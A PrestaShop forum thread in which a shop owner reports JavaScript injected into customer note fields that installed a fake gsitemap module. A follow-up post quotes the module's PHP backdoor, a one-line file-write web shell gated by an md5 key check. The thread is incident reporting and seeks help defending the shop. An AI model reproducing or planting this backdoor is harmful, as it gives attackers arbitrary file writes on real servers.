Jump to content

Strange JavaScript in customers note fields


ZhabaKwa

Recommended Posts

Recently after trying to change status for some orders i started getting PrestaShop errors.

After deeper investigation it appeared that some customers note fields were updated with strange JavaScript. Unfortunately i cant insert full code as forum won't let me.

image.thumb.png.6fd767a9383cc4d2b56afda491eeebbf.png

 

 

After trying to decode variable ff it decodes to base64 ZIP archive with gsitemap module.

 

For now i tried to disable this module and cleared these customers fields directly from DB to take a look will it appear again or not.

Does anybody experienced such an issue with presta? Whats the correct way to fix the things?

 

 

PS: Running version 1.6.1.23. The site is behind CloudFlare.
 

 

 

Edited by ZhabaKwa (see edit history)
Link to comment
Share on other sites

Further investigation showed this was injection of fake gsitemap module with javascript which was successfully installed.

gsitemap-cron.php of injected module contained following backdoor which let it save any file to your servers DOCUMENT_ROOT

/* Check to security tocken */
if(md5($_POST["key"])=='xxxxxxxxx'){file_put_contents($_SERVER['DOCUMENT_ROOT'].base64_decode($_POST['n']),base64_decode($_POST['d']),FILE_APPEND);print_r(md5('999999999999666666633333311111111'));}

 

In my case search for modified files showed nothing was changed though this backdoored module was installed quite long ago. I don't know exactly the way the code was injected but i noticed too much abandoned carts starting from the end of summer. From that time this javascript started to appear in database.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...